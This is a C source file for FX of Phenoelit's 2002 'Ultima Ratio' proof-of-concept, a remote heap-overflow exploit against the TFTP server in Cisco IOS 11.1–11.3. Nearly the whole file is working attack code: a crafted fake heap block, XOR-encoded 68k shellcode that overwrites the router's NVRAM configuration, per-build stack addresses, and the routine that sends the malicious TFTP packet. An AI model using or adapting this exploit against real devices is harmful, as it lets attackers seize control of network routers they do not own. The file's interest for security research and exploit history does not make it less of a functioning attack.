home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / UltimaRatioVegas.c < prev   
C/C++ Source or Header  |  2005-02-12  |  18KB  |  636 lines
  1. /*
  2.                          --== P H E N O E L I T ==--
  3.                ____  _______                      _____       _______
  4.      ____   ____  / /__  __/  __   ___ ______    /    /______/__  __/   ______
  5.     /   /  /   / /    / / -*-/  \_/  //     /   /    /      /  / / -*- / __  /
  6.    /   /  /   / /    / / __ / /\_// // __  /   / /\ \  __  /  / / __  / / / /
  7.   /   /__/   / /____/ / / // /   / // / / /   / / / / / / /  / / / / / /_/ /
  8.  /__________/______/_/ /_//_/   /_//_/ /_/   /_/ /_/_/ /_/  /_/ /_/ /_____/
  9.  
  10. */
  11.  
  12. /* Cisco IOS Heap exploit prove of concept "Ultima Ratio".
  13.  * by FX of Phenoelit <fx@phenoelit.de>
  14.  * http://www.phenoelit.de
  15.  *
  16.  * Black Hat Briefings 2002 / Las Vegas
  17.  * DefCon X 2002 / Las Vegas
  18.  * 
  19.  * Cisco IOS 11.1.x to 11.3.x TFTP-Server
  20.  * If a TFTP server for a flash file is configured, a long filename in the TFTP 
  21.  * request will overflow a heap buffer. The attached program is a PoC to exploit 
  22.  * this vulnerability by executing "shell code" on the router and write the 
  23.  * attached configuration into NVRAM to basically own the router. 
  24.  *
  25.  * Command line argument -p XXXXXXXX most definetly required. Obtain from syslog 
  26.  * host or any other means possible. The stack address changes by image. 
  27.  * Find the right one for the IOS build you are running and if you feel like it, 
  28.  * send it to me.
  29.  *
  30.  * Kiddy Warnings: 
  31.  * - It will NOT work in fire-and-forget mode. 
  32.  * - The shellcode is only good for Cisco 1000 and 1600 series.
  33.  * - This code is not for illegal use. 
  34.  *
  35.  * $Id: UltimaRatioVegas.c,v 1.1.1.1 2005/02/12 19:46:21 loni Exp $
  36.  */
  37. #include <stdio.h>
  38. #include <stdlib.h>
  39. #include <unistd.h>
  40. #include <string.h>
  41. #include <netinet/in.h>
  42. #include <rpc/types.h>
  43. #include <netdb.h>
  44. #include <sys/socket.h>
  45. #include <arpa/inet.h>
  46. #include <errno.h>
  47.  
  48. #include <sys/ioctl.h>
  49. #include <netinet/in.h>                
  50. #include <netpacket/packet.h>
  51. #include <net/ethernet.h>               
  52. #include <net/if.h>
  53. #include <sys/stat.h>
  54. #include <sys/types.h>
  55. #include <fcntl.h>
  56.  
  57.  
  58. typedef struct {
  59.     u_int16_t    opcode            __attribute__((packed));
  60.     u_int8_t    file            __attribute__((packed));
  61.     u_int8_t    type            __attribute__((packed));
  62. } tftp_t;
  63.  
  64. typedef struct {
  65.     u_int16_t   magic                   __attribute__((packed));
  66.     u_int16_t   one                     __attribute__((packed));
  67.     u_int16_t   checksum                __attribute__((packed));
  68.     u_int16_t   IOSver                  __attribute__((packed));
  69.     u_int32_t   unknown                 __attribute__((packed));
  70.     u_int32_t   ptr                     __attribute__((packed));
  71.     u_int32_t   size                    __attribute__((packed));
  72. } nvheader_t;
  73.  
  74. struct {
  75.     int            verbose;
  76.     int            test;
  77.     char        *filename;
  78.     unsigned int    overflow;
  79.     u_int32_t        prev;
  80.     u_int32_t        next;
  81.     u_int32_t        offset;
  82.     u_int32_t        buffer_location;
  83.     u_int32_t        stack_address;
  84.     unsigned int    nop_sleet;
  85.     int            dot1;
  86. } cfg;
  87.  
  88. u_int16_t    chksum(u_char *data, unsigned long count);
  89. void        hexdump(unsigned char *bp, unsigned int length);
  90. void        usage(char *s);
  91.  
  92. #define MAX_SIZE    1472
  93. #define XOR_PAT        0xD5
  94.  
  95. #define FB_PREV        28
  96. #define FB_NEXT        24
  97. #define FB_FREENEXT    60
  98. #define FB_FREEPREV    64
  99.  
  100. #define SPLASH        \
  101.     "Phenoelit ULTIMA RATIO\n" \
  102.     " Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \
  103.     " (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n" 
  104.  
  105. int main(int argc, char **argv) {
  106.     char        option;
  107.     extern char        *optarg;
  108.     unsigned int    i;
  109.  
  110.     /* confg file */
  111.     int                 fd;
  112.     struct stat         sb;
  113.  
  114.     u_char              *buffer;
  115.     u_char              *p;
  116.     nvheader_t          *nvh;
  117.     unsigned int        len;
  118.     u_int16_t           cs1;
  119.     u_int32_t        temp;
  120.  
  121.     /* Network */
  122.     int            sfd;
  123.     struct in_addr    dest;
  124.     struct sockaddr_in  sin;
  125.  
  126.     /* the packet */
  127.     unsigned int    psize = 0;
  128.     u_char        *pack;
  129.     tftp_t        *tftp;
  130.     char        tftp_type[] =    "PHENOELIT";
  131.     char        terminator[] =    "\xCA\xFE\xF0\x0D";
  132.  
  133.  
  134.     char        fakeblock[] =
  135.     "\xFD\x01\x10\xDF"    // RED
  136.     "\xAB\x12\x34\xCD"    // MAGIC
  137.     "\xFF\xFF\xFF\xFF"    // PID
  138.     "\x80\x81\x82\x83"    // 
  139.     "\x08\x0C\xBB\x76"    // NAME
  140.     "\x80\x8a\x8b\x8c"    // 
  141.  
  142.     "\x02\x0F\x2A\x04"    // NEXT 
  143.     "\x02\x0F\x16\x94"    // PREV 
  144.  
  145.     "\x7F\xFF\xFF\xFF"    // SIZE 
  146.     "\x01\x01\x01\x01"    // 
  147.     "\xA0\xA0\xA0\xA0"    // padding ?
  148.     "\xDE\xAD\xBE\xEF"    // MAGIC2
  149.     "\x8A\x8B\x8C\x8D"    // 
  150.     "\xFF\xFF\xFF\xFF"    // padding 
  151.     "\xFF\xFF\xFF\xFF"    // padding 
  152.  
  153.     "\x02\x0F\x2A\x24"    // FREE NEXT (BUFFER)
  154.     "\x02\x05\x7E\xCC"    // FREE PREV (STACK of Load Meter, return address)
  155.  
  156.     ;
  157.  
  158.     char        fakeblock_dot1[] =
  159.     "\xFD\x01\x10\xDF"    // RED
  160.     "\xAB\x12\x34\xCD"    // MAGIC
  161.     "\xFF\xFF\xFF\xFF"    // PID
  162.     "\x80\x81\x82\x83"    // 
  163.     "\x08\x0C\xBB\x76"    // NAME
  164.     "\x80\x8a\x8b\x8c"    // 
  165.  
  166.     "\x02\x0F\x2A\x04"    // NEXT 
  167.     "\x02\x0F\x16\x94"    // PREV 
  168.  
  169.     "\x7F\xFF\xFF\xFF"    // SIZE 
  170.     "\x01\x01\x01\x01"    // 
  171.     //"\xA0\xA0\xA0\xA0"    // no padding here on 11.1
  172.     "\xDE\xAD\xBE\xEF"    // MAGIC2
  173.     "\x8A\x8B\x8C\x8D"    // 
  174.     "\xFF\xFF\xFF\xFF"    // padding 
  175.     "\xFF\xFF\xFF\xFF"    // padding 
  176.  
  177.     "\x02\x0F\x2A\x24"    // FREE NEXT (BUFFER)
  178.     "\x02\x05\x7E\xCC"    // FREE PREV (STACK of Load Meter, return address)
  179.  
  180.     ;
  181.  
  182.     char         nop[] =
  183.     "\x4E\x71";            // the IOS will write here
  184.  
  185.     char        shell_code[] =
  186.     
  187.     // ************** CODE ****************
  188.     
  189.         "\x22\x7c\x0f\xf0\x10\xc2"      //moveal #267391170,%a1 (0x020F2A24)
  190.         "\xe2\xd1"                      //lsrw %a1@ (0x020F2A2A)
  191.         "\x47\xfa\x01\x23"              //lea %pc@(12d<xor_code+0xfd>),%a3 (0x020F2A2C)
  192.         "\x96\xfc\x01\x01"              //subaw #257,%a3 (0x020F2A30)
  193.         "\xe2\xd3"                      //lsrw %a3@ (0x020F2A34)
  194.         "\x22\x3c\x01\x01\x01\x01"      //movel #16843009,%d1 (0x020F2A36)
  195.         "\x45\xfa\x01\x17"              //lea %pc@(131<xor_code+0x101>),%a2(0x020F2A3C)
  196.         "\x94\xfc\x01\x01"              //subaw #257,%a2 (0x020F2A40)
  197.         "\x34\x3c\xd5\xd5"              //movew #-10795,%d2 (0x020F2A44)
  198.         "\xb5\x5a"                      //eorw %d2,%a2@+ (0x020F2A48)
  199.         "\x0c\x92\xca\xfe\xf0\x0d"      //cmpil #-889262067,%a2@ (0x020F2A4A)
  200.         "\xcc\x01"                      //branch (modified) (0x020F2A50)
  201.         "\xff\xf6"                      //(0x020F2A52)
  202.  
  203.     // ************** XORed CODE ****************
  204.  
  205.         "\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2A5E)
  206.         "\xF7\xA9\xDA\x25\xC5\x17"      //moveal #267391170,%a1 (0x020F2A62)
  207.         "\xE7\x69\xD5\xD4"              //movew #1,%a1@ (0x020F2A68)
  208.         "\x90\x2F\xD5\x87"              //lea %pc@(62 <config>),%a2 (0x020F2A6C)
  209.         "\xF7\xA9\xDB\xD5\xD7\x7B"      //moveal #234881710,%a1 (0x020F2A70)
  210.         "\xA1\xD4"                      //moveq #1,%d2 (0x020F2A76)
  211.         "\xC7\x0F"                      //moveb %a2@+,%a1@+ (0x020F2A78)
  212.         "\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A7A)
  213.         "\x46\x97"                      //subxw %d2,%d1 (0x020F2A80)
  214.         "\xBE\xD5\x2A\x29"              //bmiw 22 <write_delay> (0x020F2A82)
  215.         "\xD9\x47\x1F\x2B\x25\xD8"      //cmpil #-889262067,%a2@ (0x020F2A86)
  216.         "\xB3\xD5\x2A\x3F"              //bnew 1a <copy_confg> (0x020F2A8C)
  217.         "\xE7\x29\xD5\xD5"              //movew #0,%a1@+ (0x020F2A90)
  218.         "\xF7\xE9\xD5\xD5\x2A\x2A"      //movel #65535,%d1 (0x020F2A94)
  219.         "\x46\x97"                      //subxw %d2,%d1 (0x020F2A9A)
  220.         "\xBE\xD5\x2A\x29"              //bmiw 3c <write_delay2> (0x020F2A9C)
  221.         "\x66\x29\xDB\xD5\xF5\xD5"      //cmpal #234889216,%a1 (0x020F2AA0)
  222.         "\xB8\xD5\x2A\x3D"              //bltw 32 <delete_confg> (0x020F2AA6)
  223.         "\x93\x29\xF2\xD5"              //movew #9984,%sr (0x020F2AAA)
  224.         "\xF5\xA9\xDA\x25\xD5\xD5"      //moveal #267386880,%a0 (0x020F2AAE)
  225.         "\xFB\x85"                      //moveal %a0@,%sp (0x020F2AB4)
  226.         "\xF5\xA9\xDA\x25\xD5\xD1"      //moveal #267386884,%a0 (0x020F2AB6)
  227.         "\xF5\x85"                      //moveal %a0@,%a0 (0x020F2ABC)
  228.         "\x9B\x05"                      //jmp %a0@ (0x020F2ABE)
  229.  
  230.     ;
  231.  
  232.     /* configure defaults */
  233.     memset(&dest,0,sizeof(dest));
  234.     memset(&cfg,0,sizeof(cfg));
  235.     cfg.overflow=652;
  236.     cfg.prev=0x020F1694;
  237.     cfg.next=0x020F2A04;
  238.     //cfg.offset=0x13D4;
  239.     //cfg.offset=0x137C;    // 4988 
  240.     cfg.offset=0x1390;        // 5008 
  241.     cfg.buffer_location=0x020F2A24;
  242.     cfg.stack_address=0x02057ECC;
  243.     cfg.nop_sleet=16;
  244.  
  245.     printf("%s\n",SPLASH);
  246.  
  247.     while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
  248.     switch (option) {
  249.         case 'd':    if (inet_aton(optarg,&dest)==0) {
  250.                 /* ups, wasn't an IP - maybe a hostname */
  251.                 struct hostent      *hd;
  252.                 if ((hd=gethostbyname(optarg))==NULL) {
  253.                 fprintf(stderr,"Could not resolve destination host\n");
  254.                 return (1);
  255.                 } else {
  256.                 bcopy(hd->h_addr,(char *)&dest,hd->h_length);
  257.                 }
  258.             }
  259.             break;
  260.             case 'f':   cfg.filename=(char *)malloc(strlen(optarg)+1);
  261.                         strcpy(cfg.filename,optarg);
  262.                         break;
  263.         case 'l':    if ( (cfg.overflow=atoi(optarg))==0 ) {
  264.                 fprintf(stderr,"Overflow length incorrect\n");
  265.                 return (1);
  266.             }
  267.             break;
  268.         case 'o':    if ( (cfg.offset=atoi(optarg))==0 ) {
  269.                 fprintf(stderr,"Offset incorrect\n");
  270.                 return (1);
  271.             }
  272.             break;
  273.         case 'N':    if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
  274.                 fprintf(stderr,"NOP sleet incorrect\n");
  275.                 return (1);
  276.             }
  277.             break;
  278.         case 'p':    sscanf(optarg,"%08X",&(cfg.prev));
  279.             break;
  280.         case 'n':    sscanf(optarg,"%08X",&(cfg.next));
  281.             break;
  282.         case 's':    sscanf(optarg,"%08X",&(cfg.stack_address));
  283.             break;
  284.         case 'v':    cfg.verbose++;
  285.             break;
  286.         case 't':    cfg.test++;
  287.             break;
  288.         case '1':    cfg.dot1++;
  289.             break;
  290.         default:    usage(argv[0]);
  291.             return (1);
  292.     }
  293.     }
  294.  
  295.     /*
  296.      * check for dummies 
  297.      */
  298.  
  299.     if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) {
  300.     usage(argv[0]);
  301.     return 1;
  302.     }
  303.  
  304.     /* 
  305.      * patch fake block with new addresses 
  306.      */
  307.  
  308.     cfg.buffer_location=cfg.prev+20+cfg.offset;
  309.  
  310.     if (cfg.dot1) {
  311.     temp=htonl(cfg.prev+20);
  312.     memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
  313.     temp=htonl(cfg.next);
  314.     memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
  315.     temp=htonl(cfg.buffer_location);
  316.     memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
  317.     temp=htonl(cfg.stack_address);
  318.     memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
  319.     } else {
  320.     temp=htonl(cfg.prev+20);
  321.     memcpy(&(fakeblock[FB_PREV]),&(temp),4);
  322.     temp=htonl(cfg.next);
  323.     memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
  324.     temp=htonl(cfg.buffer_location);
  325.     memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
  326.     temp=htonl(cfg.stack_address);
  327.     memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
  328.     }
  329.  
  330.     if (cfg.verbose) {
  331.     if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n");
  332.     printf("Values:\n"
  333.         "- prev ptr of 0x%08X\n"
  334.         "- next ptr of 0x%08X\n"
  335.         "- buffer located at 0x%08X (offset %u)\n"
  336.         "- stack return address 0x%08X\n"
  337.         "- overflow lenght %u\n"
  338.         "- NOP sleet %u\n"
  339.         ,
  340.         cfg.prev+20,
  341.         cfg.next,
  342.         cfg.buffer_location,cfg.offset,
  343.         cfg.stack_address,
  344.         cfg.overflow,
  345.         cfg.nop_sleet);
  346.     }
  347.  
  348.     if (cfg.dot1) {
  349.     if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
  350.         fprintf(stderr,"0x00 byte in fake block detected!\n");
  351.         if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
  352.         return (1);
  353.     }
  354.     } else {
  355.     if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
  356.         fprintf(stderr,"0x00 byte in fake block detected!\n");
  357.         if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
  358.         return (1);
  359.     }
  360.     }
  361.  
  362.     /* 
  363.      * Load Config
  364.      * - load into buffer
  365.      * - prepare NVRAM header
  366.      * - calculate checksum
  367.      * -> *buffer contains payload
  368.      */
  369.     if (cfg.filename==NULL) return (-1);
  370.     if (stat(cfg.filename,&sb)!=0) {
  371.         fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
  372.         return (-1);
  373.     }
  374.  
  375.     if ((fd=open(cfg.filename,O_RDONLY))<0) {
  376.         fprintf(stderr,"Could not open() file %s\n",cfg.filename);
  377.         return (-1);
  378.     }
  379.  
  380.     len=sb.st_size;
  381.     if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
  382.         fprintf(stderr,"Malloc() failed\n");
  383.         return (-1);
  384.     }
  385.     memset(buffer,0,len+sizeof(nvheader_t)+10);
  386.  
  387.     p=buffer+sizeof(nvheader_t);
  388.     if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
  389.     close(fd);
  390.  
  391.     /* 
  392.      * pad config so it is word bound for the 0xcafef00d test
  393.      */
  394.     if ((len%2)!=0) {
  395.     strcat(p,"\x0A");
  396.     len++;
  397.     if (cfg.verbose) printf("Padding config by one\n");
  398.     }
  399.  
  400.     nvh=(nvheader_t *)buffer;
  401.     nvh->magic=htons(0xABCD);        
  402.     nvh->one=htons(0x0001);        // is always one 
  403.     nvh->IOSver=htons(0x0B03);        // IOS version
  404.     nvh->unknown=htonl(0x00000014);    // something, 0x14 just works
  405.     nvh->ptr=htonl(0x020AA660);        // something, 0x020AA660 just works
  406.     nvh->size=htonl(len);
  407.  
  408.     cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
  409.     if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
  410.     nvh->checksum=cs1;
  411.  
  412.  
  413.     /* 
  414.      * Check the size of all together and make sure it will fit into the
  415.      * packet
  416.      */
  417.     psize=  len + sizeof(nvheader_t) + 
  418.         + strlen(fakeblock)
  419.         + ( strlen(nop) * cfg.nop_sleet )
  420.         + strlen(shell_code)
  421.         + strlen(terminator)
  422.         + cfg.overflow + 1
  423.         + sizeof(tftp_t) + strlen(tftp_type) ;
  424.     if ( psize > MAX_SIZE ) {
  425.     fprintf(stderr,"The config file specified is too big and does not fit"
  426.         " into one packet. Specify smaller file\n");
  427.     free(buffer);
  428.     return (1);
  429.     }
  430.     if ((pack=malloc(psize))==NULL) {
  431.     fprintf(stderr,"Could not malloc() packet\n");
  432.     return (-1);
  433.     }
  434.     memset(pack,0,psize);
  435.  
  436.  
  437.     /* 
  438.      * XOR encode the config block 
  439.      */ 
  440.     p=buffer;
  441.     for (i=0;i<(len+sizeof(nvheader_t));i++) {
  442.     p[i]=p[i]^XOR_PAT;
  443.     }
  444.  
  445.  
  446.     /* 
  447.      * Prepare the TFTP protocol part
  448.      */
  449.     tftp=(tftp_t *)((void *)pack);
  450.     tftp->opcode=htons(1);
  451.     
  452.     /* (1) Overflow */
  453.     p=(char *)&(tftp->file);
  454.     memset(p,'A',cfg.overflow);
  455.     p+=cfg.overflow;
  456.  
  457.     /* (2) Fake block */
  458.     if (cfg.dot1) {
  459.     memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
  460.     p+=sizeof(fakeblock_dot1)-1;
  461.     } else {
  462.     memcpy(p,fakeblock,sizeof(fakeblock)-1);
  463.     p+=sizeof(fakeblock)-1;
  464.     }
  465.  
  466.     /* (3) add NOP sleet */
  467.     for (i=0;i<cfg.nop_sleet;i++) {
  468.     memcpy(p,nop,sizeof(nop)-1);
  469.     p+=sizeof(nop)-1;
  470.     }
  471.  
  472.     /* (4) append shell code */
  473.     memcpy(p,shell_code,sizeof(shell_code)-1);
  474.     p+=sizeof(shell_code)-1;
  475.  
  476.     /* (5) new config */
  477.     memcpy(p,buffer,strlen(buffer));
  478.     p+=strlen(buffer);
  479.  
  480.     /* (6) terminator */
  481.     strcpy(p,terminator);
  482.     p+=strlen(terminator)+1;
  483.  
  484.     /* (7) give it a type */
  485.     strcpy(p,tftp_type);
  486.  
  487.  
  488.  
  489.     if (cfg.verbose>1) hexdump(pack,psize);
  490.  
  491.     if (cfg.test) return(0);
  492.  
  493.     /*
  494.      * Perform attack
  495.      */
  496.     if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
  497.     perror("socket()");
  498.     return (-1);
  499.     }
  500.     memset(&sin,0,sizeof(struct sockaddr_in));
  501.     sin.sin_family=AF_INET;
  502.     sin.sin_port=htons(69);  /* tftp */
  503.     memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));
  504.  
  505.     printf("*** Sending exploit ***\n");
  506.  
  507.     if (sendto(sfd,pack,psize,0,
  508.         (struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
  509.     perror("sendto()");
  510.     return(-1);
  511.     }
  512.  
  513.     close(sfd);
  514.  
  515.     if (cfg.verbose) printf("\t%d bytes network data sent\n",psize);
  516.  
  517.     /*
  518.      * clean up 
  519.      */
  520.     free(buffer);
  521.     free(pack);
  522.  
  523.     return 0;
  524. }
  525.  
  526.  
  527. /* checksum function as used in IRPAS, stolen somewhere */
  528. u_int16_t chksum(u_char *data, unsigned long count) {
  529.     u_int32_t           sum = 0;
  530.     u_int16_t           *wrd;
  531.  
  532.     wrd=(u_int16_t *)data;
  533.     while( count > 1 )  {
  534.         sum = sum + *wrd;
  535.         wrd++;
  536.         count -= 2;
  537.     }
  538.  
  539.     if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }
  540.  
  541.     while (sum>>16) {
  542.         sum = (sum & 0xffff) + (sum >> 16);
  543.     }
  544.  
  545.     return (~sum);
  546. }
  547.  
  548.  
  549. /* A better version of hdump, from Lamont Granquist.  Modified slightly
  550.  * by Fyodor (fyodor@DHP.com) 
  551.  * obviously stolen by FX from nmap (util.c)*/
  552. void hexdump(unsigned char *bp, unsigned int length) {
  553.  
  554.   /* stolen from tcpdump, then kludged extensively */
  555.  
  556.   static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
  557.  
  558.   register const u_short *sp;
  559.   register const u_char *ap;
  560.   register u_int i, j;
  561.   register int nshorts, nshorts2;
  562.   register int padding;
  563.  
  564.   printf("\n\t");
  565.   padding = 0;
  566.   sp = (u_short *)bp;
  567.   ap = (u_char *)bp;
  568.   nshorts = (u_int) length / sizeof(u_short);
  569.   nshorts2 = (u_int) length / sizeof(u_short);
  570.   i = 0;
  571.   j = 0;
  572.   while(1) {
  573.     while (--nshorts >= 0) {
  574.       printf(" %04x", ntohs(*sp));
  575.       sp++;
  576.       if ((++i % 8) == 0)
  577.         break;
  578.     }
  579.     if (nshorts < 0) {
  580.       if ((length & 1) && (((i-1) % 8) != 0)) {
  581.         printf(" %02x  ", *(u_char *)sp);
  582.         padding++;
  583.       }
  584.       nshorts = (8 - (nshorts2 - nshorts));
  585.       while(--nshorts >= 0) {
  586.         printf("     ");
  587.       }
  588.       if (!padding) printf("     ");
  589.     }
  590.     printf("  ");
  591.  
  592.     while (--nshorts2 >= 0) {
  593.       printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
  594.       ap += 2;
  595.       if ((++j % 8) == 0) {
  596.         printf("\n\t");
  597.         break;
  598.       }
  599.     }
  600.     if (nshorts2 < 0) {
  601.       if ((length & 1) && (((j-1) % 8) != 0)) {
  602.         printf("%c", asciify[*ap]);
  603.       }
  604.       break;
  605.     }
  606.   }
  607.   if ((length & 1) && (((i-1) % 8) == 0)) {
  608.     printf(" %02x", *(u_char *)sp);
  609.     printf("                                       %c", asciify[*ap]);
  610.   }
  611.   printf("\n");
  612. }
  613.  
  614. void usage(char *s) {
  615.     fprintf(stderr,
  616.         "Usage: %s -d <device_ip> -f config.file [-opts]\n"
  617.         "Options:\n"
  618.         " -p 1234ABCD   sets the previous ptr address\n"
  619.         " -n 1234ABCD   sets the next ptr address\n"
  620.         " -s 1234ABCD   sets the stack address\n"
  621.         " -o 1234       sets the offset from prev to buffer\n"
  622.         " -l 1234       sets the overflow size\n"
  623.         " -N 1234       sets the NOP sleet\n"
  624.         " -1            use IOS 11.1 memory layout\n"
  625.         " -v            increases verbosity (highly recommended)\n"
  626.         " -t            only test, don't send\n"
  627.         "\n"
  628.         "Recommended stack addresses:\n"
  629.         "IOS 11.1(20)         -s 020A1120 (IP Input)\n"
  630.         "IOS 11.2(18)P        -s 0204120C (Load Meter)\n"
  631.         "IOS 11.2(26)P4       -s 02041554 (Load Meter)\n"
  632.         "IOS 11.3(11)B        -s 02057ECC (Load Meter)\n"
  633.         ,s);
  634. }
  635.  
  636.